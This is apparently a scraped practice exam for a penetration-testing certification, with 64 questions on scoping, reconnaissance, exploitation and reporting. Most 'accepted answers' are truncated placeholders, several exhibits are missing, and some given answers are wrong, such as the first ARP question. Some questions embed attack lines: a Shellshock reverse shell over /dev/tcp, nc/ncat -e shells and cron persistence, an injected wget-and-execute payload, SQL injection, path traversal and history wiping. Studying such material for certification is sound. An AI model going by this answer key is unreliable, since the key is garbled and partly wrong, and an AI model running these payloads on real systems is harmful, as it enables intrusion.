Question 1

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?&#10;A) Reach out to the primary point of contact&#10;B) Try to take down the attackers&#10;C) Call law enforcement officials immediately&#10;D) Collect the proper evidence and add to the final report

Accepted Answer

Reach out to the primary point of contact

Question 2

A consultant is reviewing the following output after reports of intermittent connectivity issues: ? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] ? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet] ? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet] ? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet] ? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] ? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet] ? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet] ? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet] Which of the following is MOST likely to be reported by the consultant?

A) A device on the network has an IP address in the wrong subnet.
B) A multicast session was initiated using the wrong multicast group.
C) An ARP flooding attack is using the broadcast address to perform DDoS.
D) A device on the network has poisoned the ARP cache.

Accepted Answer

A multicast session was initiated using the wrong multicast group.

Question 3

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows: • The following request was intercepted going to the network device: GET /login HTTP/1.1 Host: 10.50.100.16 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5 Connection: keep-alive Authorization: Basic WU9VUilOQU1FOnNlY3JldHBhc3N3b3jk • Network management interfaces are available on the production network. • An Nmap scan returned the following: Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

A) Enforce enhanced password complexity requirements.
B) Disable or upgrade SSH daemon.
C) Disable HTTP/301 redirect configuration.
D) Create an out-of-band network for management.
E) Implement a better method for authentication.
F) Eliminate network management and control interfaces.

Accepted Answer

Disable HTTP/301 redirect configuration.&#10;Implement a better method for authentication.

Question 4

A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

A) Ensure the client has signed the SOW.
B) Verify the client has granted network access to the hot site.
C) Determine if the failover environment relies on resources not owned by the client.
D) Establish communication and escalation procedures with the client.

Accepted Answer

The answer of A client wants a security assessment company...

Question 5

A penetration tester wrote the following script to be used in one engagement:   Which of the following actions will this script perform?&#10;A) Look for open ports.&#10;B) Listen for a reverse shell.&#10;C) Attempt to flood open ports.&#10;D) Create an encrypted tunnel.

Accepted Answer

The answer of A penetration tester wrote the following script...

Question 6

A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following: * Connected to 10.2.11.144 (::1) port 80 (#0) > GET /readmine.html HTTP/1.1 > Host: 10.2.11.144 > User-Agent: curl/7.67.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Date: Tue, 02 Feb 2021 21:46:47 GMT < Server: Apache/2.4.41 (Debian) < Content-Length: 317 < Content-Type: text/html; charset=iso-8859-1 <

 <!DOCTYPE html >
 <html lang="en"> >
 <meta name="viewport" content="width=device-width" / > 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" / >
 <title >WordPress › ReadMe</title>
 <link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" /> </head>

Which of the following tools would be BEST for the penetration tester to use to explore this site further? A) Burp Suite B) DirBuster C) WPScan D) OWASP ZAP

Accepted Answer

The answer of A penetration tester is exploring a client's...

Question 7

Which of the following BEST describe the OWASP Top 10? (Choose two.)&#10;A) The most critical risks of web applications&#10;B) A list of all the risks of web applications&#10;C) The risks defined in order of importance&#10;D) A web-application security standard&#10;E) A risk-governance and compliance framework&#10;F) A checklist of Apache vulnerabilities

Accepted Answer

The answer of Which of the following BEST describe the...

Question 8

Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)&#10;A) Buffer overflows&#10;B) Cross-site scripting&#10;C) Race-condition attacks&#10;D) Zero-day attacks&#10;E) Injection flaws&#10;F) Ransomware attacks

Accepted Answer

The answer of Which of the following web-application security risks...

Question 9

A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

A) Wireshark
B) Nessus
C) Retina
D) Burp Suite
E) Shodan
F) Nikto

Accepted Answer

The answer of A penetration tester is preparing to perform...

Question 10

Given the following code:  Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)&#10;A) Web-application firewall&#10;B) Parameterized queries&#10;C) Output encoding&#10;D) Session tokens&#10;E) Input validation&#10;F) Base64 encoding

Accepted Answer

The answer of Given the following code:  Which of...

Question 11

Appending string values onto another string is called:&#10;A) compilation&#10;B) connection&#10;C) concatenation&#10;D) conjunction

Accepted Answer

The answer of Appending string values onto another string is...

Question 12

A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?&#10;A) RFID cloning&#10;B) RFID tagging&#10;C) Meta tagging&#10;D) Tag nesting

Accepted Answer

The answer of A penetration tester who is doing a...

Question 13

A penetration tester gains access to a system and establishes persistence, and then runs the following commands: cat /dev/null > temp touch -r .bash_history temp mv temp .bash_history Which of the following actions is the tester MOST likely performing?

A) Redirecting Bash history to /dev/null Redirecting Bash history to /dev/null
B) Making a copy of the user's Bash history for further enumeration
C) Covering tracks by clearing the Bash history
D) Making decoy files on the system to confuse incident responders

Accepted Answer

The answer of A penetration tester gains access to a...

Question 14

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

A) A signed statement of work
B) The correct user accounts and associated passwords
C) The expected time frame of the assessment
D) The proper emergency contacts for the client

Accepted Answer

The answer of A new security firm is onboarding its...

Question 15

Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?&#10;A) NDA&#10;B) MSA&#10;C) SOW&#10;D) MOU

Accepted Answer

The answer of Which of the following documents describes specific...

Question 16

Which of the following expressions in Python increase a variable val by one (Choose two.)&#10;A) val++&#10;B) +val&#10;C) val=(val+1)&#10;D) ++val&#10;E) val=val++&#10;F) val+=1

Accepted Answer

The answer of Which of the following expressions in Python...

Question 17

A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?

A) nmap -f -sV -p80 192.168.1.20
B) nmap -sS -sL -p80 192.168.1.20
C) nmap -A -T4 -p80 192.168.1.20
D) nmap -O -v -p80 192.168.1.20

Accepted Answer

The answer of A security engineer identified a new server...

Question 18

A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

A) Implement a recurring cybersecurity awareness education program for all users.
B) Implement multifactor authentication on all corporate applications.
C) Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
D) Implement an email security gateway to block spam and malware from email communications.

Accepted Answer

The answer of A company conducted a simulated phishing attack...

Question 19

Given the following output: User-agent:* Disallow: /author/ Disallow: /xmlrpc.php Disallow: /wp-admin Disallow: /page/ During which of the following activities was this output MOST likely obtained?&#10;A) Website scraping&#10;B) Website cloning&#10;C) Domain enumeration&#10;D) URL enumeration

Accepted Answer

The answer of Given the following output: User-agent:* Disallow: /author/...

Question 20

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: exploit = "POST " exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} - c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a" exploit += "HTTP/1.1" Which of the following commands should the penetration tester run post-engagement?

A) grep -v apache ~/.bash_history > ~/.bash_history
B) rm -rf /tmp/apache
C) chmod 600 /tmp/apache
D) taskkill /IM "apache" /F

Accepted Answer

The answer of A penetration tester was able to gain...

Question 21

A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?

A) The penetration tester was testing the wrong assets
B) The planning process failed to ensure all teams were notified
C) The client was not ready for the assessment to start
D) The penetration tester had incorrect contact information

Accepted Answer

The answer of A penetration tester was conducting a penetration...

Question 22

A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?&#10;A) Halt the penetration test.&#10;B) Conduct an incident response.&#10;C) Deconflict with the penetration tester.&#10;D) Assume the alert is from the penetration test.

Accepted Answer

The answer of A company becomes concerned when the security...

Question 23

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?&#10;A) Whether the cloud service provider allows the penetration tester to test the environment&#10;B) Whether the specific cloud services are being used by the application&#10;C) The geographical location where the cloud services are running&#10;D) Whether the country where the cloud service is based has any impeding laws

Accepted Answer

The answer of Which of the following should a penetration...

Question 24

When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?&#10;A) Clarify the statement of work.&#10;B) Obtain an asset inventory from the client.&#10;C) Interview all stakeholders.&#10;D) Identify all third parties involved.

Accepted Answer

The answer of When preparing for an engagement with an...

Question 25

A penetration tester obtained the following results after scanning a web server using the dirb utility: ... GENERATED WORDS: 4612 ---- Scanning URL: http://10.2.10.13/ ---- + http://10.2.10.13/about (CODE:200|SIZE:1520) + http://10.2.10.13/home.html (CODE:200|SIZE:214) + http://10.2.10.13/index.html (CODE:200|SIZE:214) + http://10.2.10.13/info (CODE:200|SIZE:214) DOWNLOADED: 4612 - FOUND: 4 Which of the following elements is MOST likely to contain useful information for the penetration tester?

A) index.html
B) about
C) info
D) home.html

Accepted Answer

The answer of A penetration tester obtained the following results...

Question 26

A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?&#10;A) Comma&#10;B) Double dash&#10;C) Single quote&#10;D) Semicolon

Accepted Answer

The answer of A penetration tester is testing input validation...

Question 27

A penetration tester writes the following script:   Which of the following objectives is the tester attempting to achieve?&#10;A) Determine active hosts on the network.&#10;B) Set the TTL of ping packets for stealth.&#10;C) Fill the ARP table of the networked devices.&#10;D) Scan the system on the most used ports.

Accepted Answer

The answer of A penetration tester writes the following script:...

Question 28

A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)

A) IP addresses and subdomains
B) Zone transfers
C) DNS forward and reverse lookups
D) Internet search engines
E) Externally facing open ports
F) Shodan results

Accepted Answer

The answer of A company that requires minimal disruption to...

Question 29

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?&#10;A) Run nmap with the -o , -p22 , and -sC options set against the target Run nmap with the -o , -p22 , and -sC options set against the target&#10;B) Run nmap with the -sV and -p22 options set against the target -sV and -p22&#10;C) Run nmap with the --script vulners option set against the target --script vulners option set against the target&#10;D) Run nmap with the -sA option set against the target -sA

Accepted Answer

The answer of A penetration tester wants to identify CVEs...

Question 30

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

A) Cross-site request forgery
B) Server-side request forgery
C) Remote file inclusion
D) Local file inclusion

Accepted Answer

The answer of A penetration tester is testing a web...

Question 31

A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit?

A) Perform XSS.
B) Conduct a watering-hole attack.
C) Use BeEF.
D) Use browser autopwn.

Accepted Answer

The answer of A penetration tester who is conducting a...

Question 32

A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?

A) Add a dependency checker into the tool chain.
B) Perform routine static and dynamic analysis of committed code.
C) Validate API security settings before deployment.
D) Perform fuzz testing of compiled binaries.

Accepted Answer

The answer of A penetration tester has completed an analysis...

Question 33

A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment. Which of the following actions should the tester take?

A) Perform forensic analysis to isolate the means of compromise and determine attribution.
B) Incorporate the newly identified method of compromise into the red team's approach.
C) Create a detailed document of findings before continuing with the assessment.
D) Halt the assessment and follow the reporting procedures as outlined in the contract.

Accepted Answer

The answer of A red-team tester has been contracted to...

Question 34

A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?&#10;A) nmap -p0 -T0 -sS 192.168.1.10&#10;B) nmap -sA -sV --host-timeout 60 192.168.1.10&#10;C) nmap -f --badsum 192.168.1.10&#10;D) nmap -A -n 192.168.1.10

Accepted Answer

The answer of A penetration tester wants to scan a...

Question 35

A penetration tester runs the following command on a system: find / -user root -perm -4000 -print 2>/dev/null Which of the following is the tester trying to accomplish?&#10;A) Set the SGID on all files in the / directory&#10;B) Find the /root directory on the system Find the /root directory on the system&#10;C) Find files with the SUID bit set&#10;D) Find files that were created during exploitation and move them to /dev/null Find files that were created during exploitation and move them to /dev/null

Accepted Answer

The answer of A penetration tester runs the following command...

Question 36

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective? A) Create a one-shot systemd service to establish a reverse shell. B) Obtain /etc/shadow and brute force the root password. Obtain /etc/shadow and brute force the root password. C) Run the nc -e /bin/sh <...> command. Run the nc -e /bin/sh <...> command. D) Move laterally to create a user account on LDAP

Accepted Answer

The answer of A penetration tester has obtained root access...

Question 37

A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?&#10;A) iam_enum_permissions&#10;B) iam_privesc_scan&#10;C) iam_backdoor_assume_role&#10;D) iam_bruteforce_permissions

Accepted Answer

The answer of A penetration tester logs in as a...

Question 38

A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

A) Immunity Debugger
B) OllyDbg
C) GDB
D) Drozer

Accepted Answer

The answer of A software development team is concerned that...

Question 39

A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?

A) Manually check the version number of the VoIP service against the CVE release
B) Test with proof-of-concept code from an exploit database
C) Review SIP traffic from an on-path position to look for indicators of compromise
D) Utilize an nmap -sV scan against the service Utilize an nmap -sV scan against the service

Accepted Answer

The answer of A penetration tester has identified several newly...

Question 40

A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?&#10;A) Weekly&#10;B) Monthly&#10;C) Quarterly&#10;D) Annually

Accepted Answer

The answer of A penetration tester needs to perform a...

Question 41

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

A) schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
B) wmic startup get caption,command
C) crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash") | crontab 2>/dev/null
D) sudo useradd -ou 0 -g 0 user

Accepted Answer

The answer of A penetration tester was able to gain...

Question 42

Which of the following is the MOST effective person to validate results from a penetration test?&#10;A) Third party&#10;B) Team leader&#10;C) Chief Information Officer&#10;D) Client

Accepted Answer

The answer of Which of the following is the MOST...

Question 43

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: . Which of the following would be the best action for the tester to take NEXT with this information?

A) Create a custom password dictionary as preparation for password spray testing.
B) Recommend using a password manage/vault instead of text files to store passwords securely.
C) Recommend configuring password complexity rules in all the systems and applications.
D) Document the unprotected file repository as a finding in the penetration-testing report.

Accepted Answer

The answer of In an unprotected network file repository, a...

Question 44

A penetration tester has been hired to configure and conduct authenticated scans of all the servers on a software company's network. Which of the following accounts should the tester use to return the MOST results?

A) Root user
B) Local administrator
C) Service
D) Network administrator

Accepted Answer

The answer of A penetration tester has been hired to...

Question 45

User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

A) MD5
B) bcrypt
C) SHA-1
D) PBKDF2

Accepted Answer

The answer of User credentials were captured from a database...

Question 46

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?

A) OpenVAS
B) Drozer
C) Burp Suite
D) OWASP ZAP

Accepted Answer

The answer of An Nmap network scan has found five...

Question 47

A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?&#10;A) Forensically acquire the backdoor Trojan and perform attribution&#10;B) Utilize the backdoor in support of the engagement&#10;C) Continue the engagement and include the backdoor finding in the final report&#10;D) Inform the customer immediately about the backdoor

Accepted Answer

The answer of A penetration tester discovers that a web...

Question 48

A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are: Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

A) Edit the discovered file with one line of code for remote callback
B) Download .pl files and look for usernames and passwords
C) Edit the smb.conf file and upload it to the server
D) Download the smb.conf file and look at configurations

Accepted Answer

The answer of A penetration tester discovered a vulnerability that...

Question 49

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?&#10;A) &#34;cisco-ios&#34; &#34;admin+1234&#34;&#10;B) &#34;cisco-ios&#34; &#34;no-password&#34;&#10;C) &#34;cisco-ios&#34; &#34;default-passwords&#34;&#10;D) &#34;cisco-ios&#34; &#34;last-modified&#34;

Accepted Answer

The answer of A large client wants a penetration tester...

Question 50

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploits = {&#34;User-Agent&#34;: &#34;() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1&#34;, &#34;Accept&#34;: &#34;text/html,application/xhtml+xml,application/xml&#34;} Which of the following edits should the tester make to the script to determine the user context in which the server is being run?&#10;A) exploits = {&#34;User-Agent&#34;: &#34;() { ignored;};/bin/bash -i id;whoami&#34;, &#34;Accept&#34;: &#34;text/html,application/xhtml+xml,application/xml&#34;}&#10;B) exploits = {&#34;User-Agent&#34;: &#34;() { ignored;};/bin/bash -i>& find / -perm -4000&#34;, &#34;Accept&#34;: &#34;text/html,application/xhtml+xml,application/xml&#34;}&#10;C) exploits = {&#34;User-Agent&#34;: &#34;() { ignored;};/bin/sh -i ps -ef&#34; 0>&1&#34;, &#34;Accept&#34;: &#34;text/html,application/xhtml+xml,application/xml&#34;}&#10;D) exploits = {&#34;User-Agent&#34;: &#34;() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80&#34; 0>&1&#34;, &#34;Accept&#34;: &#34;text/html,application/xhtml+xml,application/xml&#34;}

Accepted Answer

The answer of A penetration tester discovers a vulnerable web...

Question 51

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?&#10;A) HTTPS communication&#10;B) Public and private keys&#10;C) Password encryption&#10;D) Sessions and cookies

Accepted Answer

The answer of Which of the following should a penetration...

Question 52

A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:   Which of the following would be a recommendation for remediation?&#10;A) Deploy a user training program&#10;B) Implement a patch management plan&#10;C) Utilize the secure software development life cycle&#10;D) Configure access controls on each of the servers

Accepted Answer

The answer of A penetration tester conducted a vulnerability scan...

Question 53

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:&#10;A) will reveal vulnerabilities in the Modbus protocol.&#10;B) may cause unintended failures in control systems.&#10;C) may reduce the true positive rate of findings.&#10;D) will create a denial-of-service condition on the IP networks.

Accepted Answer

The answer of Running a vulnerability scanner on a hybrid...

Question 54

A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?&#10;A) John the Ripper&#10;B) Hydra&#10;C) Mimikatz&#10;D) Cain and Abel

Accepted Answer

The answer of A penetration tester runs the unshadow command...

Question 55

A penetration tester performs the following command: curl -I -http2 https://www.comptia.org Which of the following snippets of output will the tester MOST likely receive?&#10;A)  &#10;B)  &#10;C)  &#10;D) [########################################################] 100%

Accepted Answer

The answer of A penetration tester performs the following command:...

Question 56

A tester who is performing a penetration test on a website receives the following output: Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62 Which of the following commands can be used to further attack the website?&#10;A) &#10;B) ../../../../../../../../../../etc/passwd&#10;C) /var/www/html/index.php;whoami&#10;D) 1 UNION SELECT 1, DATABASE(),3--

Accepted Answer

The answer of A tester who is performing a penetration...

Question 57

A company that developers embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse-engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?&#10;A) The reverse-engineering team may have a history of selling exploits to third parties.&#10;B) The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.&#10;C) The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.&#10;D) The reverse-engineering team will be given access to source code for analysis.

Accepted Answer

The answer of A company that developers embedded software for...

Question 58

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?&#10;A) Phishing&#10;B) Tailgating&#10;C) Baiting&#10;D) Shoulder surfing

Accepted Answer

The answer of A penetration tester recently performed a social-engineering...

Question 59

A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and found a few open ports. To further enumerate, the tester ran another scan using the following command: nmap -O -A -sS -p- 100.100.100.50 Nmap returned that all 65,535 ports were filtered. Which of the following MOST likely occurred on the second scan?&#10;A) A firewall or IPS blocked the scan.&#10;B) The penetration tester used unsupported flags.&#10;C) The edge network device was disconnected.&#10;D) The scan returned ICMP echo replies.

Accepted Answer

The answer of A penetration tester ran an Nmap scan...

Question 60

The results of an Nmap scan are as follows:   Which of the following would be the BEST conclusion about this device?&#10;A) This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.&#10;B) This device is most likely a gateway with in-band management services.&#10;C) This device is most likely a proxy server forwarding requests over TCP/443.&#10;D) This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Accepted Answer

The answer of The results of an Nmap scan are...

Question 61

During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)&#10;A) Scraping social media sites&#10;B) Using the WHOIS lookup tool&#10;C) Crawling the client's website&#10;D) Phishing company employees&#10;E) Utilizing DNS lookup tools&#10;F) Conducting wardriving near the client facility

Accepted Answer

The answer of During a penetration-testing engagement, a consultant performs...

Question 62

An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?&#10;A) Follow the established data retention and destruction process&#10;B) Report any findings to regulatory oversight groups&#10;C) Publish the findings after the client reviews the report&#10;D) Encrypt and store any client information for future analysis

Accepted Answer

The answer of An assessment has been completed, and all...

Question 63

A penetration tester conducted an assessment on a web server. The logs from this session show the following: http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -- Which of the following attacks is being attempted?&#10;A) Clickjacking&#10;B) Session hijacking&#10;C) Parameter pollution&#10;D) Cookie hijacking&#10;E) Cross-site scripting

Accepted Answer

The answer of A penetration tester conducted an assessment on...

Question 64

The results of an Nmap scan are as follows: Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST Nmap scan report for ( 10.2.1.22 ) Host is up (0.0102s latency). Not shown: 998 filtered ports Port&#160;&#160;&#160;&#160;State&#160;&#160;&#160;&#160;Service 80/tcp&#160;&#160;open&#160;&#160;&#160;&#160; http |_http-title: 80F 22% RH 1009.1MB (text/html) |_http-slowloris-check: | VULNERABLE: | Slowloris DoS Attack | <..> Device type: bridge|general purpose Running (JUST GUESSING) : QEMU (95%) OS CPE: cpe:/a:qemu:qemu No exact OS matches found for host (test conditions non-ideal). OS detection performed. Please report any incorrect results at https://nmap.org/submit/. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds Which of the following device types will MOST likely have a similar response? (Choose two.)&#10;A) Network device&#10;B) Public-facing web server&#10;C) Active Directory domain controller&#10;D) IoT/embedded device&#10;E) Exposed RDP&#10;F) Print queue

Accepted Answer

The answer of The results of an Nmap scan are...

Exam 13: CompTIA Server+